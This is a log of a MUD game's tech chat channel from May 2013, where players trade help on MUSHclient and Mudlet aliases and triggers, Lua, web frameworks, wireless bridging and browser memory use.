T3/r7/2013-05-08.txt.gz:{chan ch=tech}HelperMan Hadar Tech: she was looking at that one
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Book of Etzli Tech: Remarto: To lowercase something in Lua, do string.lower(param). To make the first letter uppercase, use: string.gsub("^%l", string.upper))
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Aurelia Tech: I'm having trouble setting up keypad keys in mudlet. When I look at it under navigation, it seems like everything should work - the name and pattern are the direction and the keybinding is keypad+2, entered by the key bind/press button thing, but it doesn't work
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Fluffhead Tech: ugh. Mudlet is quirky about that.
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Aurelia Tech: the folder that has the keypad settings though, under navigation has a lock symbol on it, does that have anything to do with it? is it possible to reset the keypad entries?
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Fluffhead Tech: I never was able to get it figured out enough to make it useable, to be honest
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Aurelia Tech: I've tried with and without numlock
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Aurelia Tech: boo
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Fluffhead Tech: Just decided to use MUSH through wine
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Fluffhead Tech: just easier
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Aurelia Tech: i thought that was for linux or mac or something?
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Fluffhead Tech: Ah, I see the issue. I used mudlet on linux, and assumed :P
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Aurelia Tech: I'm sorry, I wasn't specific
T3/r7/2013-05-08.txt.gz:{chan ch=tech}A bowl of Granola Tech: Is it possible to add new macros to the macro list on mush?
T3/r7/2013-05-08.txt.gz:{chan ch=tech}A bowl of Granola Tech: Like if we have a keyboard extension, and want F13 :)
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Ayasinda Tech: but we don't have a keyboard extention with f13
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Hanslanda Tech: perhaps can do it with accelerators, but don't think you can change that list.
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Laughing Airmeith Tech: lots of gaming keyboards do
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Ayasinda Tech: yeah? wow learning something new here.
T3/r7/2013-05-08.txt.gz:{chan ch=tech}A bowl of Granola Tech: alright, thanks
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Laughing Airmeith Tech: they'll have anywhere from 6-18 more keys
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Ayasinda Tech: guess I should start playing games
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Hanslanda Tech: doesn't one offer a lot more than that?
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Laughing Airmeith Tech: gaming hardware is nice, but kind of overkill for mudding
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Laughing Airmeith Tech: now, for FPS or RPGs...
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Laughing Airmeith Tech: MMOs in general...that's where those extra keys make so much difference
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Salamander Samalander Tech: gotta get those 12 extra keys on the mouse
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Laughing Airmeith Tech: I'm happy with 4 extra keys on my mouse, don't need more than that
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Laughing Airmeith Tech: but I don't use my mouse to mud
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Ayasinda Tech: I have never needed extra keys on mouse or keyboard for any game I play. I only play RPG maybe that differs
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Salamander Samalander Tech: you don't need the extra keys
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Cuddlez Tech: I never used more than a basic keyboard for mmos. >.>
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Salamander Samalander Tech: some would day you were doing it wrong
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Salamander Samalander Tech: say*
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Laughing Airmeith Tech: you don't NEED them for the other games, but they make some things easier. For example, on EVE, I'm often fleet commander and need to be calling commands on Teamspeak, so having a mouse key bound as my push-to-talk lets me be able to be selecting and tagging as I'm talking and calling targets
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Salamander Samalander Tech: you could take push-to-talk off I suppose
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Laughing Airmeith Tech: I don't want voice-active...sometimes I might be swearing under my breath at some idiot on comms. I don't want them to hear that.
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Ayasinda Tech: ahh got it. I actually never play my games with others. I guess I'm fine with my standard thingies
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Laughing Airmeith Tech: or I might want to be having a convo on Skype (voice always-on) and have my TS on push-to-talk
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Salamander Samalander Tech: well if you're running two voip programs I suppose it helps
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Laughing Airmeith Tech: There are also days when a nerve pinch makes one hand or the other nearly impossible to use, but I still have to be training FCs...so I have two different setups that I can use to play EVE with just my right or left hand, in addition to my normal profile
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Bloood Tech: ok guys hi i have a question about a trigger firing an alias in MUSH, how do i get a trigger to execute an alias?
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Bloood Tech: i have a alias for quest request (home;n;quest request;) then a trigger fires from area name: (enter;d;runto %1) BUT if i wanted it to trigger another alias ('planes') takes me to the planes areas with appropriate switching and entering of portals...
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Bloood Tech: i guess my question is, is it possible to have a alias function as a trigger whilst it's an alias?
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Bloood Tech: 0h 5
T3/r7/2013-05-08.txt.gz:{chan ch=tech}Bloood Tech: mis
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Tigernuts Tech: whoever invented css/the box model should be shot
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Aurelia Tech: a bit harsh
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Tigernuts Tech: not really, it's horrid
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Tech: Jhav ducks defensively.
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Jhav Tech: (quickly tallied the numbers from the CIA's World Factbook, and only 56.35% of the world population is Christian, Jewish, or Muslim)
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Tech: Jhav slams his head on his desk in frustration.
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Jhav Tech: Why do I mis debate to tech?  Some screw is lose in the brain...
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Elkore Tech: mis debate .. heh
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Tigernuts Tech: i hate jquery, what a pile of dross
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Tech: Jhav shrugs helplessly.
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Jhav Tech: Better than trying to write cross-browser javascript without any sort of support.
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I really hope after HTML5 goes mainstream javascript dies in a fire.
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Though of course now we have mobile browsing and webkit...
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Tigernuts Tech: html5 is largely dependant on js
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Tigernuts Tech: there's nothing wrong with javascript
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Jhav Tech: I don't mind javascript at all, as a language.
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Tigernuts Tech: only all this new fangled bollocks they stack on top of it that people then force you to use because it's trendy and new
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Swalec Tech: ah, jquery!
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Swalec Tech: although the new fangled bollocks is mostly to make the language half-way usable
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Swalec Tech: mostly by adding in 20 year old techniques taken from lisp
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Swalec Tech: so not that new, more old fangled
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Tigernuts Tech: my web programming training ran from 1995-2004, it's new fangled
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Tigernuts Tech: jstl is cutting edge for me
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Swalec Tech: 9 years training to use the web? that's a long one
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Tigernuts Tech: it wasn't really 9 years, did some bits early on as part of an unrelated course, then did it in anger for the last 3 years
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Tigernuts Tech: there was (un)gainful employment sandwiched between
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Tigernuts Tech: and there we go, all this bs because jquery ui does not update the state of the ui when the underlying input state is changed
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Tigernuts Tech: what a load of bs
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: .refresh()
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: The DOM won't change once loaded, refresh the div content.
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Sometimes .trigger('create') works too
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Tigernuts Tech: i will happily castrate whomever put jquery ui requirement into the spec
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Nods, it's too much overhead for so little gain IMHO
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I'd prefer to use backbone or sencha personally
T3/r7/2013-05-09.txt.gz:{chan ch=tech}HelperMan Hadar Tech: what is the best way to connect to a remote MYSql DB with lua? right now with zscript i use ODBC but i want to get away from that, its kinda laggy
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Thielith Tech: how do I turn off the {chan ch=tech} tags that are showing up?
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Trachx Tech: help tags
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Thielith Tech: ah nice, thanks.
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: trying to pick a python webframework, looking at django, turbogears, and web2py.  anyone familiar with them?
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: all except web2py, what specificically are you wanting to do with it?
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I personally prefer Django.
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: ya, I love django.  I'm doing a crm that will also manage accounts in a financial services server...so security is pretty important.
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I've had really good luck using nginx -> gunicorn -> flask on a Django server. Really flexible and API driven. While still very secure.
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Ixle Tech: watch out for cdork!
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: with django, I'm very comfortable scripting tools that work against the webapp backend, is turbogears as easy/powerfully exposed?
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: everything I'm reading when I look at comparisons online is really crouched in alot of cover-my-butt bs.  seems people aren't comfy saying X is better than Y at Z.
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Not as easily, but a bit more powerfully IMO
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: In other words, it takes a lot more setting up, but afterwards is very easily overloaded
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: can you explain what you mean by powefully?
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: ^ :P
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: sorry, I don't mean accessing gears's code...I mean code I've written to run in gears.  Like I develop an app 'accountChecks' how easily can I script against the methods in accountChecks?
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: personally, though, I prefer to work /with/ the backend as much as possible. Take more energy to swim upstream :P
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Oh...
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: It's about the same for either platform
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Gwa'ra'ri Atlanta Tech: so what I'm getting from here matching my reading - they're basically the same in terms of what they can do and how hard it is to do it.  the differences are more matters of flavour/style?
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Essentially
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: They're build very similarly, just by different people :P
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Aurelia Tech: Is there some kind of piece of equipment that receives a wireless signal and then switches it to an ethernet connection? Sort of a backwards router I guess?
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Aurelia Tech: And what is it called?
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Tethering ;)
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Aurelia Tech: that only works with phones though right?
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Wait, specifically to ethernet? I don't know of anything like that tbh
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Trachx Tech: I hink you mean access point
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: other than a repeater
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Femtocell?
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Used for acting as a psuedo cell tower, connected to your broadband.
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Is that what you're asking for? :)
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Or maybe just an access point, if you're not talking cell wireless :P
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Aurelia Tech: I'm not sure.. I'm looking for something to receive an existing wireless signal but then have me be able to conn I guess that wouldn't do anything
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Aurelia Tech: Thanks
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Trachx Tech: what kind of wireless signal? WiFi? CB ? GSM?
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Aurelia Tech: Wifi
T3/r7/2013-05-09.txt.gz:{chan ch=tech}RightOn Rithlin Tech: A repeater does that...
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Trachx Tech: repeater - sure if on other end there is co-repeater
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Oh, you're talking a repeater bridge, I think...
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Trachx Tech: otherwise you need access point 
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Connects to your existing wi-fi router via wifi, gives you ethernet connections on the other end.
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I use such a thing for the components in my home theater.
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Personally using some cheap Rosewill routers on each end of the wireless link, with open firmware from DD-WRT
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Is this what you're trying to do? http://www.dd-wrt.com/wiki/images/3/3a/Standard_bridge_large.jpg
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Aurelia Tech: Yes
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Okay, some router brands out of the box will allow you to do the wireless bridge configuration, but not all.
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Protogynus Robbo Tech: But wireless bridging would be the feature you're shopping for.
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Aurelia Tech: Thanks, I really appreciate that
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Protogynus Robbo Tech: And must be supported by the routers at both sides.
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Not a problem at all, glad to help.
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Now back to my evil piracy.
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Aurelia Tech: Right now I'm using a wifi connection directly out of my modem, it sounds like I'd have to get a router or piece for that end too
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Yeah, that you would. I picked up a couple of routers on sale for about $15/each and loaded DD-WRT on them.
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Aurelia Tech: cool, thanks
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Protogynus Robbo Tech: I got 'em on sale, but picked up Rosewill RNX-N150RT from Newegg. Current price $24.99.
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Aurelia Tech: I'll check it out
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Ontuct Tech: Everytime I quit aardmush it tells me that world variables have changed do I wish to save aardwolf.mcl what does it mean? is there a way to make it do something by default?
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: ctrl+s :P
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Ontuct Tech: what variables? really what is it doing?
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Ontuct Tech: does it do it to all users? or have I somehow adjusted something?
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Zetkax Tech: i dont see that
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Ontuct Tech: must be I am special
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Aurelia Tech: Is there a way to get page break to work in mudlet?
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Tech: what do you mean by page break?
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Aurelia Tech: With large lists like inventory you can use pagesize to have the output split after a certain amount of lines, but it doesn't work for mudlet
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Tech: Mudlet does an automatic screen split when you scroll up (with the scrollbar or using pgup), so you see current stuff on bottom and the scrolled up stuff on top
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Hanslanda Tech: what exactly do you mean by "it doesn't work"?
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Aurelia Tech: Right, I was just wondering if there was a way to have it work with pagebreak instead of scrolling
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Tech: it does
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Aurelia Tech: ohhh
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Six-String Strazor Tech: Any Salesforce.com users about?
T3/r7/2013-05-09.txt.gz:{chan ch=tech}HelperMan Hadar Tech: what is the best way to connect to a remote MYSql DB with lua? right now with zscript i use ODBC but i want to get away from that, its kinda laggy
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Birdbrain Metria Tech: A remote db is ALWAYS going to be laggy
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: First question when dealing with a remote db - does it *have* to be remote?
T3/r7/2013-05-09.txt.gz:{chan ch=tech}HelperMan Hadar Tech: its between 5-10 seconds, and yes, its the DB for the boot website
T3/r7/2013-05-09.txt.gz:{chan ch=tech}HelperMan Hadar Tech: can anyone suggest a decent camera/camcorder for under 200$?
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: As someone who sells them for a living, if you pay under $200 for a camcorder that isn't 2nd hand, you are getting a POS
T3/r7/2013-05-09.txt.gz:{chan ch=tech}[Deputy] Westclox Tech: that being said, he'll give you a great deal on one, just look for the white van around back, knock three times, then twice, then four times....
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Though, that is AU prices, idk how caught up we are on US - see what you can get the Sony CX190 for over your way
T3/r7/2013-05-09.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i can get a refurbished for 150 off newegg, a new for 350 lol
T3/r7/2013-05-09.txt.gz:{chan ch=tech}HelperMan Hadar Tech: sorry 250
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Then the prices are a little more expensive than here, that one's $220 new here
T3/r7/2013-05-09.txt.gz:{chan ch=tech}HelperMan Hadar Tech: then im thinking about just going with a new camera
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Shameful Dugrant Tech: Is there an easy to way capture the ID of an item as it's given to me?  I'm using the Aardwolf Mushclient with Basts plugins.
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Tech: bast's plugin already captures the item's ID as it's given to you
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Tech: that's what broadcast_invmon does
T3/r7/2013-05-09.txt.gz:{chan ch=tech}Tech: so go to bast's page, to the wiki, click bast's plugins, broadcast_invmon...that page tells plugin authors how to access the data it broadcasts
T3/r7/2013-05-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: where can i find a reporter plugin? that reports amount of qu per quest and skill improvments?
T3/r7/2013-05-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: how do i put the following into a triger sothat it wil report the qp amount to a channel?    A HUGE RED DRAGON tells you 'As a reward, I am giving you 17 quest points and 2812 gold.'
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Zetkax Tech: why would you think we want to know how much qp you receive?
T3/r7/2013-05-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: i ment like gt...
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Protogynus Robbo Tech: For quest rewards, I can definitely say that a GMCP trigger is simpler than a text match...
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Rauche Tech: anyone know how to get two commands to work on the in game alias setup? when trying to setup the alias it saves the first command but the second one goes to the game directly. 
T3/r7/2013-05-10.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: use double semi colons
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Rauche Tech: tried that but it still executed the second command in game instead of saving it as part of the alias. 
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: try "alias twocommands firstcommand;;secondcommand"
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Or you can try ";alias manycommands first;second;third;fourth"
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Rauche Tech: I'll try that
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Rauche Tech: here my example "alias hp get jade bag
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Rauche Tech: here my example "alias hp get jade bag
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Rauche Tech: grr
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Rauche Tech: then its supposed to quaf the jade
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Soft and Silke Tech: are you using the MUSHclient setup?
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Rauche Tech: I use mush on my home PC, but currently I'm on a mobile client. 
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The double ; and leading ; are mush things - which mobile client are you on?
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Rauche Tech: pocket mud for iOS. 
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Soft and Silke Tech: I think on tech Let me check my aliases ont he mobile...
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Soft and Silke Tech: Does it allow you todrop to a new line f you press "enter" when working on your alias? That's how I did mine, both on MUSH and on the mobile.
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Rauche Tech: I'll try. not sure if it'll work
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Rauche Tech: nope. :/
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Tech: he's making a MUDside alias, so he's not in an alias definition window
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Rauche Tech: correct.
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Soft and Silke Tech: sorry... missed that.
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Rauche Tech: np :)
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Just fired up pocketmud to test, it turns out it eats all ;s, regardless of intention, with no way around it in the main window...
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You have the option of inclient aliases, but it looks like for now multiline mudside won't work for you :-(
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Rauche Tech: pewp
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Tech: tried slashes and tildes as escape?
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: yup. Also googled - turns out some peeps on TMS had similar issues
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Looks like it's in active development though, you could submit a scathing review and see if it gets changed?
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Rauche Tech: hehe
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Rauche Tech: thanks for the help though. :)
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Ugh. Spend how long digging through code only to see gmcp quest isn't consistent between targ and target...
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Laughing Airmeith Tech: ouch
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Vonliege Tech: Aardmush:  Is there a way to add 'right click' functions?  e.g. Right click on a players name and be able to select 'whois %%1', or clicking on an inventory item and being able to select 'c id %%1'.  This was a handy zMud feature.
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Laughing Airmeith Tech: that'd probably have to be done by Fiendish or Bast
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Vonliege Tech: K.. I'm not so swift at 'creation', but I'm a heck of a 'user'
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Oh ffs... now time and timer aren't consistent :-( Silly gmcp
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Jingga Tech: in creating alias for attack or cast spell a target, what symbol is use for the target and appreciate if you can give example too
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Vonliege Tech: that depends on what client you are using... what client are you using?
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Jingga Tech: aardwolf musch
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Vonliege Tech: here is the one I use (compliments of Norton).  I have no idea how it works, but it does.....
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Vonliege Tech: ^ll(\s+(.*)?(\.)?(\w+)?)?$
T3/r7/2013-05-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: there are boobs?
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Vonliege Tech: where "ll" is the aliase
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Vonliege Tech: those would be some pretty ate up boobs
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Vonliege Tech: so I type 'll Jingga', and then Jingga is dead.
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Botman Tech: Has anyone here (Firefox users, mainly) tried Waterfox?
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: nope, but it looks interesting
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: my ff setup is very slow. loads of addons, custom ui, userscripts etc
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: dat bloat
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: but i got a ssd recently, so i'm not bothered any more
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: besides, i don't never shut it down anyway
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Laughing Airmeith Tech: restarting firefox is a regular need though
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: not really
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Laughing Airmeith Tech: that memory leak
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger nods at Laughing Airmeith.
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's not a memory leak, it's a feature
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Botman Tech: SSD is nice, I agree.
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: It's not a leak, it's a pool :P
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Tech: Laughing Airmeith nods at Helperful Cheezburger.
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Botman Tech: Actually, having to restart FF is why I'm considering WF.  There is an issue in FF where tabs stop scrolling and it is annoying.
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you can change the settings to reduce it, but why would you? i have ram in the machine so apps would use it
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: But why allow one app to bogart it? :P
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: ok, ff uptime 5 days. ca 30 tabs open. 420MB of ram used
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Laughing Airmeith Tech: but they still shouldn't snag all of it
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it doesn't. i don't think you understand how memory management works
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Actually, I think that I do ;)
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Laughing Airmeith Tech: uptime 3h, 4 tabs open, mem usage 282K
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Laughing Airmeith Tech: it'll spike up to 1.3MB within 24h
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir raises an eyebrow.
T3/r7/2013-05-10.txt.gz:{chan ch=tech}Laughing Airmeith Tech: on my machine, that is. THAT is unacceptable.
